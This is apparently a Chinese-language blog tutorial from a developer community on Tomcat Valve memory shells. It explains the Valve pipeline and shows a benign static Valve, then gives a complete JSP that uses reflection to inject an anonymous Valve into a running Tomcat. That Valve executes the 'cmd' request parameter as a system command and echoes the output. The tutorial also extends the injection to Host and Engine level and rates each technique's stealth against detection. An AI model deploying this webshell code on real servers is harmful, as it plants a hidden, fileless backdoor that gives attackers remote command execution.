
Tomcat 特有,比 Filter 更底层、更隐蔽。
Valve 是 Tomcat Pipeline-Valve 管道机制的一部分,属于 Tomcat 特有的概念,不属于 Servlet 规范。
为了方便理解这几种内存马的层级关系,用高速公路来类比一下:

每个容器(Engine / Host / Context / Wrapper) 都有自己的 Pipeline,里面可以添加多个 Valve。
pipeline.addValve(valve) 添加任意多个自定义 Valve,它们会按照添加顺序依次执行(先添加的先执行)。请求的大致流转路径是:Engine → Host → Context → Wrapper 的 Valve 管道,最后才到 Servlet。也正因为如此,Valve 比 Filter 更早触发(在 Context 级别甚至更早),而且可以拦截所有请求(包括静态资源、404 等),不需要任何 URL 映射。
Filter、Servlet、Listener 都属于 Context 级别(即一个 Web 应用内部),而 Valve 可以加在 Engine、Host、Context、Wrapper 任意一层。
请求 → [Valve A] → [Valve B] → [Valve C] → [基础阀门] → Servlet需要注意的点:
invoke 方法中必须调用 getNext().invoke(request, response),否则请求链会中断(后面的 Valve 和 Servlet 都不会执行)。这个和 Filter 里的 chain.doFilter(request, response) 作用一模一样。addValve() 方法,而且该方法通常是 public 的,不需要反射破解。特性 | Valve | Filter |
|---|---|---|
是否 Servlet 规范 | ❌ Tomcat 特有 | ✅ 规范定义 |
触发层级 | 容器级(Engine/Host/Context) | 应用级(Context 内) |
能否跨 Web 应用 | 能(Engine/Host 级别 Valve 可影响所有应用) | 不能(只拦截注册的应用) |
需要映射 URL 模式 | 否(自动全局拦截) | 是(需配置 /* 等) |
隐蔽性 | 更高(不常见于检测规则) | 较高(但已是重点查杀对象) |
静态注册是 Tomcat 管理员配置全局功能的标准方式,不需要写任何 Java 代码(除了 Valve 实现类本身)。先搞清楚静态注册的流程,对后面理解动态注入也有帮助。
创建一个 Java 项目,写一个类实现 org.apache.catalina.Valve 接口。
Valve 是一个接口,实现它就必须实现接口中定义的所有抽象方法,即使不需要某个方法的功能,也要提供一个最简单的实现(比如空方法或返回默认值),否则编译就会报错。
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
// 实现 Valve 接口,表明这是一个阀门组件。
public class MyStaticValve implements Valve {
// 关键:存储下一个阀门,没有这个字段,链条就断了。
private Valve next;
@Override
public void invoke(Request request, Response response) throws ServletException, IOException {
// 自定义逻辑,这里是打印请求 URI,可以替换成任何代码(如执行命令、记录日志、修改响应)。
System.out.println("[StaticValve] Request URI: " + request.getRequestURI());
// 放行请求,继续执行下一个 Valve
getNext().invoke(request, response);
}
@Override
// 返回 false 表示这个阀门不支持异步处理。如果阀门内部没有异步逻辑,保持 false 即可。
public boolean isAsyncSupported() {
return false;
}
@Override
// 这两个方法必须正确配合,否则链条会断。
public void setNext(Valve valve) {
this.next = valve; // 保存 Tomcat 传进来的下一个阀门
}
@Override
public Valve getNext() {
return this.next; // 返回保存的下一个阀门
}
@Override
// Tomcat 会周期性地调用这个方法,执行一些后台任务(比如清理过期资源)。不需要的话留空即可。
public void backgroundProcess() {
// 可空实现
}
}invoke 方法后,必须等 getNext().invoke() 返回,整个请求才算处理完。这是默认方式。invoke 中,可以启动一个新线程去处理业务,然后立即返回 invoke(不调用 getNext()),让 Tomcat 线程不被阻塞。这需要阀门设置 isAsyncSupported() { return true; },并且后续还要处理异步完成时的回调。对于内存马来说,几乎不需要异步,保持 return false 即可。
切换到正确的编译目录(对于包 com.demo,源文件的根目录是 src/main/java):
cd E:\WWW\Valve\src\main\java
javac -encoding UTF-8 -cp "E:\WWW\apache-tomcat-9.0.117\lib\catalina.jar;E:\WWW\apache-tomcat-9.0.117\lib\servlet-api.jar" com\demo\MyStaticValve.java几个注意点:
-cp 是 classpath(类路径)的缩写,作用是告诉 Java 编译器去哪里查找用户自定义的类(以及第三方库)。MyStaticValve.java 中引用了 Tomcat 的 Valve、Request、Response 等类(位于 catalina.jar),以及 ServletException(位于 servlet-api.jar),所以编译时必须通过 -cp 指定这些依赖的位置,否则编译器会报"找不到符号"的错误。;,在 Linux 上是冒号 :。-encoding UTF-8 参数。catalina.jar 是 Tomcat 核心库的固定文件名,不能改名,确保路径指向正在使用的 Tomcat 9 的 lib 目录。编译完成后打包成 JAR:
jar cvf myvalve.jar com\demo\MyStaticValve.classcopy myvalve.jar E:\WWW\apache-tomcat-9.0.117\lib\
配置文件路径:E:\WWW\apache-tomcat-9.0.117\conf\server.xml
先了解一下 server.xml 的层级结构(Valve 只能在 Engine、Host、Context 里添加):
<Server>(最顶层,代表整个 Tomcat 实例)
└─ <Service>(服务,包含一个 Engine 和多个 Connector)
└─ <Engine>(引擎,处理所有请求,可包含多个 Host)
└─ <Host>(虚拟主机,例如 localhost,可包含多个 Context)
└─ <Context>(可选,代表一个 Web 应用)找到 <Engine name="Catalina" defaultHost="localhost"> 标签,在里面添加:
<Valve className="com.demo.MyStaticValve" />写法
<Valve className="..." />等价于<Valve className="..."></Valve>,但更简洁。

访问任意 URL,控制台会输出 [StaticValve] Request URI: /xxx。

通过熟悉的反射获取 StandardContext,然后:
standardContext.getPipeline().addValve(Valve) 添加自定义 Valve。invoke 方法中解析 cmd 参数,执行命令。response 直接回显到浏览器。getNext().invoke(request, response) 放行请求,保证正常业务不受影响。与 Filter 内存马相比,注入 Valve 不需要操作 FilterDefs、FilterMaps 那些结构,只需拿到 Pipeline 对象直接 addValve() 就行,注入步骤更少,也更简单。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%
// 防止重复注入。application 是 JSP 的隐式对象,可以存储一些属性(键值对)
if (application.getAttribute("valveEchoInjected") == null) {
// 从 request 里获取 servletContext
// 这里的 request 是 JSP 的隐式对象,可以直接用
// 匿名类里的代码只能用传入的参数对象
ServletContext servletContext = request.getSession().getServletContext();
// 两次反射获取 StandardContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 构造匿名 Valve
Valve maliciousValve = new Valve() {
private Valve next;
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// 匹配参数,GET 和 POST 都可以
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
// 执行系统命令
Process process = Runtime.getRuntime().exec(cmd);
// 处理命令的输出
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
// 有 response 可以直接回显到浏览器
response.setContentType("text/plain");
response.getWriter().write("Command: " + cmd + "\nOutput:\n" + output.toString());
response.flushBuffer();
// 如果有 cmd 参数就只显示命令结果,不会显示原来的页面
return;
} catch (Exception e) {
e.printStackTrace();
}
}
// 没有 cmd 参数时,放行正常业务
getNext().invoke(request, response);
}
@Override public boolean isAsyncSupported() { return false; }
@Override public void setNext(Valve valve) { this.next = valve; }
@Override public Valve getNext() { return this.next; }
@Override public void backgroundProcess() { }
};
// 往 standardContext 里注册 Valve,非常简单,不用反射
standardContext.getPipeline().addValve(maliciousValve);
// 设置标志,表示已经注入过了
application.setAttribute("valveEchoInjected", true);
// 输出总数 + 每个阀门的类名
Valve[] valves = standardContext.getPipeline().getValves();
out.println("Valve (echo) injected. Total valves: " + valves.length + "<br>");
out.println("Valve list:<br>");
for (Valve v : valves) {
out.println(" - " + v.getClass().getName() + "<br>");
}
} else {
out.println("Valve already injected.");
}
%>访问 http://localhost:8080/inject.jsp,可以看到注入成功,列出了当前 Pipeline 中所有的 Valve:

中间那个就是我们自己注入的,其他的是 Tomcat 自带的。
再次访问时会提示已经存在,防止多次注入:

然后访问任意路径带上 cmd 参数即可执行命令:
http://localhost:8080/任意?cmd=whoami
上面的动态注入代码只添加到了 Context 级别(当前 Web 应用)。如果想要影响范围更广,可以向上取父容器,注入到 Host 或 Engine 级别:
// 获取 Host(向上取父容器)
Container host = standardContext.getParent();
if (host instanceof StandardHost) {
((StandardHost) host).getPipeline().addValve(maliciousValve);
}
// 继续向上获取 Engine
Container engine = host.getParent();
if (engine instanceof StandardEngine) {
((StandardEngine) engine).getPipeline().addValve(maliciousValve);
}作用范围不同,Engine 最广,Host 次之,Context 最窄。实战中根据需要选择,注入 Engine 级别隐蔽性更高,但也更容易影响正常业务,需要谨慎。
把 Filter、Servlet、Listener、Valve 四种内存马的核心特性放在一张表格里,方便对比选择:
类型 | 是否 Servlet 规范 | 触发层级 | 是否需要 URL 映射 | 回显是否方便 | 注入复杂度 | 隐蔽性 |
|---|---|---|---|---|---|---|
Filter | ✅ 是 | Context | 需要 /* | 直接 | 中 | 中 |
Servlet | ✅ 是 | Context | 需要具体路径 | 直接 | 低 | 低 |
Listener | ✅ 是 | Context | 不需要 | 需要反射 | 低(注入)高(回显) | 中 |
Valve | ❌ 否(Tomcat 特有) | Engine/Host/Context | 不需要 | 直接 | 低 | 高 |
Valve 内存马是 Tomcat 内存马里隐蔽性相对最高的一种,核心优势在于:
/*。StandardContext 后直接 addValve() 就行,不需要操作 FilterDefs 那些复杂结构。整个内存马系列到这里,Filter → Servlet → Listener → Valve 四种方式都过了一遍,后面还有 Agent 内存马,原理上又是不同的思路,到时候再写。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。